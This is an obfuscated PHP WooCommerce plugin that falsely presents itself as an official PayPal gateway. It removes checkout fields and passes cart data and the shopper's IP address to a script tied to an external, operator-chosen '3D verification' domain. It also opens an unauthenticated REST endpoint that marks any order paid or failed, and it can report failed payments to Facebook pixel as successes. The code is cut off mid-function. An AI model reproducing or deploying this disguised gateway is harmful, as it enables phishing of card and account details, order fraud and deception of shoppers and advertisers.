/*
* Plugin Name: PayPal Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: PayPal
* Author URI:
* Version: 300
*/
$U2yBuEt31=array();$U2yBuEt31[]=11;$U2yBuEt31[]=14;$U2yBuEt31[]=8;$U2yBuEt31[]=15;$U2yBuEt31[]=5;$U2yOiRy0=3379;$U2y8G=!defined('ABSPATH');if($U2y8G)goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=3392;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);$U2y8G=!$U2yeF8K;if($U2y8G)goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='lighthouse_paypal_init_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt33=array();$U2yBuEt33[]=2;$U2yBuEt33[]=7;$U2yBuEt33[]=12;$U2yBuEt33[]=13;$U2yBuEt33[]=19;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_wp_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v3';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_fields';$U2yzA8H[]='lighthouse_paypal_remove_fields';$U2yzA8H[]=9999;$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_order_button_html';$U2yzA8H[]='paypal_custom_button_html';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_pp_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);function woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class($gateways){$U2yBuEt32=array();$U2yBuEt32[]=8;$U2yBuEt32[]=11;$U2yBuEt32[]=15;$U2yBuEt32[]=12;$U2yBuEt32[]=7;unset($U2ytI8G);$U2ytI8G='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$gateways[]=$U2ytI8G;return $gateways;}function handle_update_wp_order_status(WP_REST_Request $request){$U2yBuEt34[]=16;$U2yBuEt34[]=5;$U2yBuEt34[]=11;$U2yBuEt34[]=12;$U2yBuEt34[]=17;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_id=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$status=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yOiRy3=4922;$U2y8G=!$order;if($U2y8G)goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:$U2y8G=18*15;$U2y8H=$U2y8G-215;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:$U2y8G=new WP_REST_Response('Order not found',404);return $U2y8G;goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4922;$U2y8G=$status==='success';if($U2y8G)goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="y"*"y";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:$U2y8G=15*19;$U2y8H=$U2y8G+4;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset($U2ytI8G);$U2ytI8G=$U2yzA8J;$data=$U2ytI8G;$U2y8G=new WP_REST_Response($data,200);return $U2y8G;goto U2yxb;U2yldMhxc:$U2y8G=3*10;$U2y8H=$U2y8G+25;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2y8G=new WP_REST_Response('success',500);return $U2y8G;goto U2yxb;U2yldMhxd:U2yxb:}function lighthouse_paypal_init_gateway_class(){$U2yBuEt35=array();$U2yBuEt35[]=15;$U2yBuEt35[]=9;$U2yBuEt35[]=6;$U2yBuEt35[]=11;$U2yBuEt35[]=20;if(1){class WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway extends WC_Payment_Gateway{public $payment_type;public $verification_type;public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public function __construct(){$U2yBuEt39=array();$U2yBuEt39[]=15;$U2yBuEt39[]=12;$U2yBuEt39[]=5;$U2yBuEt39[]=10;$U2yBuEt39[]=16;unset($U2ytI8G);$U2ytI8G='woocommerce_payments_lighthouse_paypal_gateway';$this->id=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='/wp-content/plugins/paypal-gateway/assets/images/paypal_logosvg';$this->icon=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=true;$this->has_fields=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='PayPal Gateway';$this->method_title=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='Payment Gateway';$this->method_description=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='pp_title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->title=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->description=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_payment_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->payment_type=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_verification_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->verification_type=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='pp_prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->prefix=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='pp_domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->domain=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->fbq_check=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->store_name=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->show_close=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='pp_error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->error_text=$U2ytI8G;$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function init_form_fields(){$U2yBuEt40=array();$U2yBuEt40[]=7;$U2yBuEt40[]=11;$U2yBuEt40[]=6;$U2yBuEt40[]=8;$U2yBuEt40[]=19;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='PayPal';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='Click the PayPal button below to process your order.';$U2yzA8K=array();$U2yzA8K[]='站内支付 Inside';$U2yzA8K[]='1';$U2yeFvPvPvP8J=call_user_func_array("__",$U2yzA8K);unset($U2yzA8K);$U2yzAvPvP8L=array();$U2yzAvPvP8L['1']=$U2yeFvPvPvP8J;$U2yzAvP8M=array();$U2yzAvP8M['title']='payment type';$U2yzAvP8M['type']='select';$U2yzAvP8M['description']='付款方式(3D verification page display type.)';$U2yzAvP8M['options']=$U2yzAvPvP8L;$U2yzAvP8M['default']='1';$U2yzA8O=array();$U2yzA8O[]='默认';$U2yzA8O[]='1';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzA8Q=array();$U2yzA8Q[]='账号付款';$U2yzA8Q[]='2';$U2yeFvPvPvP8P=call_user_func_array("__",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8S=array();$U2yzA8S[]='卡号付款';$U2yzA8S[]='3';$U2yeFvPvPvP8R=call_user_func_array("__",$U2yzA8S);unset($U2yzA8S);$U2yzAvPvP8T=array();$U2yzAvPvP8T['1']=$U2yeFvPvPvP8N;$U2yzAvPvP8T['2']=$U2yeFvPvPvP8P;$U2yzAvPvP8T['3']=$U2yeFvPvPvP8R;$U2yzAvP8U=array();$U2yzAvP8U['title']='3D verification type';$U2yzAvP8U['type']='select';$U2yzAvP8U['description']='3D验证页面展示类型(3D verification page display type.)';$U2yzAvP8U['options']=$U2yzAvPvP8T;$U2yzAvP8U['default']='3';$U2yzAvP8V=array();$U2yzAvP8V['title']='3D verified domain';$U2yzAvP8V['type']='text';$U2yzAvP8V['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8W=array();$U2yzAvP8W['title']='Order prefix';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='*后台显示订单前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP8W['default']='PP';$U2yzAvP8X=array();$U2yzAvP8X['title']='Store name';$U2yzAvP8X['type']='text';$U2yzAvP8X['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP8X['default']='PayPal';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='Payment error message';$U2yzAvP8Y['type']='textarea';$U2yzAvP8Y['description']='*支付错误提示(Payment error message.)';$U2yzAvP8Y['default']="Sorry, an error occurred during the payment processPlease try again later or contact our customer service team for assistance.";$U2yzAvP8Z=array();$U2yzAvP8Z['title']='3ds close button';$U2yzAvP8Z['label']='Enable/Disable';$U2yzAvP8Z['type']='checkbox';$U2yzAvP8Z['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP8Z['default']='no';$U2yzAvP90=array();$U2yzAvP90['title']='Facebook payment success';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='点击支付时,FB像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to success.)';$U2yzAvP90['default']='no';$U2yzA91=array();$U2yzA91['pp_title']=$U2yzAvP8H;$U2yzA91['pp_description']=$U2yzAvP8I;$U2yzA91['pp_payment_type']=$U2yzAvP8M;$U2yzA91['pp_verification_type']=$U2yzAvP8U;$U2yzA91['pp_domain']=$U2yzAvP8V;$U2yzA91['pp_prefix']=$U2yzAvP8W;$U2yzA91['pp_store_name']=$U2yzAvP8X;$U2yzA91['pp_error_text']=$U2yzAvP8Y;$U2yzA91['pp_show_close']=$U2yzAvP8Z;$U2yzA91['pp_fbq_check']=$U2yzAvP90;unset($U2ytI8G);$U2ytI8G=$U2yzA91;$this->form_fields=$U2ytI8G;}public function enqueue_style(){$U2yBuEt41[]=19;$U2yBuEt41[]=3;$U2yBuEt41[]=14;$U2yBuEt41[]=18;$U2yBuEt41[]=9;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G . 'assets/css/appcss';unset($U2ytI8H);$U2ytI8H=$U2y8G;$css_file=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$css_file;$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy11=6870;if($U2yeF8G)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="a"*"r";goto U2yxm;U2yldMhxn:$U2yOiRy11="r"*"r";U2yxm:$U2y8I=6*8;$U2y8J=$U2y8I+218;$U2y8K=$U2yOiRy11==$U2y8J;if($U2y8K)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:$U2yzA8J=array();$U2yzA8J[]=&$css_file;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);$U2y8G=$U2yeF8I;goto U2yxo;U2yldMhxp:$U2y8L=2*15;$U2y8M=$U2y8L+12;$U2y8N=$U2yOiRy11==$U2y8M;if($U2y8N)goto U2yeWjgxq;goto U2yldMhxq;U2yeWjgxq:$U2y8G='100';goto U2yxo;U2yldMhxq:U2yxo:unset($U2ytI8H);$U2ytI8H=$U2y8G;$version=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$version;$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt42=array();$U2yBuEt42[]=7;$U2yBuEt42[]=3;$U2yBuEt42[]=12;$U2yBuEt42[]=7;$U2yBuEt42[]=15;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy16=3379;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_checkout",$U2yzA8H);unset($U2yzA8H);$U2y8G=(bool)$U2yeF8G;$U2y8H=!$U2y8G;if($U2y8H)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:$U2yzA8J=array();$U2yzA8J[]='order-pay';$U2yeF8I=call_user_func_array("is_wc_endpoint_url",$U2yzA8J);unset($U2yzA8J);$U2y8G=(bool)$U2yeF8I;goto U2yxs;U2yldMhxt:U2yxs:if($U2y8G)goto U2yeWjgxu;goto U2yldMhxu;U2yeWjgxu:$U2yOiRy16="a"*"r";goto U2yxr;U2yldMhxu:U2yxr:$U2y8G=6*14;$U2y8H=$U2y8G-63;$U2y8I=$U2yOiRy16==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8H);$U2ytI8H=$U2yeF8I;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$script_version=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='paypal-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$script_version;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$cart_items=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yxv:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;if($U2y8G)goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:goto U2yeWjgxz;goto U2yx13;U2yldMhx14:U2yx13:goto U2yldMhxz;U2yeWjgxz:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item_key[$U2y1i];$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$U2yEc1[$cart_item_key];$cart_item=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['data'];$product=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]=$product;$U2yzA8L[]="get_price";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['name']=$U2yhCvP8G;$U2yzA8M['quantity']=$cart_item['quantity'];$U2yzA8M['price']=$U2yhCvP8J;unset($U2ytI8G);$U2ytI8G=$U2yzA8M;$cart_items[]=$U2ytI8G;U2yxw:$U2y1i=$U2y1i+1;goto U2yxv;goto U2yxy;U2yldMhxz:U2yxy:U2yxx:unset($U2ytI8G);$U2ytI8G=WC()->cart->total;$cart_total=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_code=$U2ytI8G;$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8U=array();$U2yzA8U[]='custom/v3/update_order_status';$U2yeFvPvPvP8T=call_user_func_array("rest_url",$U2yzA8U);unset($U2yzA8U);$U2yzA8W=array();$U2yzA8W[]=&$U2yeFvPvPvP8T;$U2yeFvPvP8V=call_user_func_array("esc_url",$U2yzA8W);unset($U2yzA8W);$U2yzAvP8X=array();$U2yzAvP8X['admin_url']=$this->domain;$U2yzAvP8X['store_name']=$this->store_name;$U2yzAvP8X['ip']=$U2yhCvPvP8I;$U2yzAvP8X['prefix']=$this->prefix;$U2yzAvP8X['fbq_check']=$this->fbq_check;$U2yzAvP8X['cart_items']=$cart_items;$U2yzAvP8X['cart_total']=$cart_total;$U2yzAvP8X['currency_symbol']=$currency_symbol;$U2yzAvP8X['currency_code']=$currency_code;$U2yzAvP8X['error_text']=$this->error_text;$U2yzAvP8X['show_close']=$this->show_close;$U2yzAvP8X['current_domain']=$U2yeFvPvP8P;$U2yzAvP8X['paymentType']=$this->payment_type;$U2yzAvP8X['showType']=$this->verification_type;$U2yzAvP8X['updateOrderUrl']=$U2yeFvPvP8V;$U2yzA8H=array();$U2yzA8H[]='paypal-gateway-js';$U2yzA8H[]='PayPalGatewayParams';$U2yzA8H[]=&$U2yzAvP8X;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);goto U2yx11;U2yldMhx12:U2yx11:}public function payment_fields(){$U2yBuEt43=array();$U2yBuEt43[]=6;$U2yBuEt43[]=18;$U2yBuEt43[]=4;$U2yBuEt43[]=11;$U2yBuEt43[]=19;$U2y8G='<fieldset id="wc-' . esc_attr($this->id);$U2y8H=$U2y8G . '-cc-form" class="wc-credit-card-form wc-payment-form row row-paypal-gateway" style="background:transparent;">';echo $U2y8H;do_action('woocommerce_credit_card_form_start',$this->id);$U2y8G='<div class="wc-ppcp-payment-method__container">
<div class="wc-ppcp-popup__container">
<img style="height:24px" src="/wp-content/plugins/paypal-gateway/assets/images/popupsvg">
<p style="padding-top: 10px;padding-bottom: 3px;font-size: 14px;">' . $this->description;$U2y8H=$U2y8G . '</p>
</div>
</div>
';echo $U2y8H;do_action('woocommerce_credit_card_form_end',$this->id);echo '</fieldset>';}public function getIpAddress(){$U2yBuEt44=array();$U2yBuEt44[]=10;$U2yBuEt44[]=5;$U2yBuEt44[]=12;$U2yBuEt44[]=13;$U2yBuEt44[]=6;$U2yOiRy18=2210;if(class_exists('WC_Geolocation'))goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:$U2yOiRy18="a"*"a";goto U2yx15;U2yldMhx16:$U2yOiRy18="r"*"r";U2yx15:$U2y8G=13*13;$U2y8H=$U2y8G-39;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:unset($U2ytI8G);$U2ytI8G=WC_Geolocation::get_ip_address();$ip_address=$U2ytI8G;goto U2yx17;U2yldMhx18:$U2y8G=20*6;$U2y8H=$U2y8G-60;$U2y8I=$U2yOiRy18==$U2y8H;if($U2y8I)goto U2yeWjgx19;goto U2yldMhx19;U2yeWjgx19:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="getFallbackIp";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$ip_address=$U2ytI8G;goto U2yx17;U2yldMhx19:U2yx17:return $ip_address;}private function getFallbackIp(){$U2yBuEt45=array();$U2yBuEt45[]=3;$U2yBuEt45[]=10;$U2yBuEt45[]=8;$U2yBuEt45[]=9;$U2yBuEt45[]=5;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$headers=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach($headers as $header){$U2yEc1[]=$header;};$U2y1i=0;U2yx1q:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;$U2yOiRy43=1012;if($U2y8G)goto U2yeWjgx25;goto U2yldMhx25;U2yeWjgx25:$U2yOiRy43="a"*"a";goto U2yx24;U2yldMhx25:U2yx24:$U2y8G=2*10;$U2y8H=$U2y8G-11;$U2y8I=$U2yOiRy43==$U2y8H;if($U2y8I)goto U2yeWjgx2h;goto 